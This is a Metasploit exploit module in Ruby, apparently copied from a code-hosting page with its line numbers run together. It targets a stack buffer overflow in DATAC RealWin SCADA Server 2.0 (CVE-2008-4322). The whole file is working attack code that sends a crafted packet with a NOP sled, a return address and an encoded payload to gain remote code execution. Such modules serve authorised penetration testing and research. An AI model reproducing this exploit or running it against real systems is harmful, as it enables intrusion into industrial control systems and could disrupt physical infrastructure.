Path: blob/master/modules/exploits/windows/scada/realwin.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'DATAC RealWin SCADA Server Buffer Overflow',15'Description' => %q{16This module exploits a stack buffer overflow in DATAC Control17International RealWin SCADA Server 2.0 (Build 6.0.10.37).18By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,19an attacker may be able to execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2008-4322' ],25[ 'OSVDB', '48606' ],26[ 'BID', '31418' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'thread',31},32'Payload' => {33'Space' => 550,34'BadChars' => "\x00\x20\x0a\x0d",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Universal', { 'Offset' => 740, 'Ret' => 0x4001e2a9 } ], # Thanks Jacopo!40],41'DefaultTarget' => 0,42'DisclosureDate' => '2008-09-26',43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([Opt::RPORT(910)])52end5354def exploit55connect5657data = [0x67542310].pack('V')58data << [0x00000800].pack('V')59data << [0x000a77e3].pack('V')60data << [0x00040005].pack('V')61data << "\x00\x00"62data << make_nops(target['Offset'])63data << [target.ret].pack('V')64data << [0x00404040].pack('V')65data << payload.encoded66data << make_nops(1024)6768print_status("Trying target #{target.name}...")69sock.get_once70sock.put(data)7172handler73disconnect74end75end767778